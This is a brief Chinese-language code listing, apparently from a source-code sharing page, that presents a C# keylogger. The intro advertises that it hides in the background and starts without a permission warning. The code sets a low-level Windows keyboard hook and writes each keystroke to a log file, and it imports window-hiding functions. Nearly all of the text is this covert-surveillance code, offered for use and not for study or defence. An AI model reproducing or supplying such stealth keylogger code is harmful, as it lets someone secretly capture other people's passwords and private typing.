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   源码介绍

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可隐藏在背景，进行键盘侧录，且开启时不会弹出权限警示。

private static IntPtr SetHook(LowLevelKeyboardProc proc)
 {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
 }

private static IntPtr HookCallback(
            int nCode, IntPtr wParam, IntPtr lParam)
 {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {                
                int vkCode = Marshal.ReadInt32(lParam);
                Console.WriteLine((Keys)vkCode);
                StreamWriter sw = new StreamWriter(logPath, true);
                sw.WriteLine((Keys)vkCode);
                sw.Close();
            }            

            return CallNextHookEx(_hookID, nCode, wParam, lParam);
 }

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);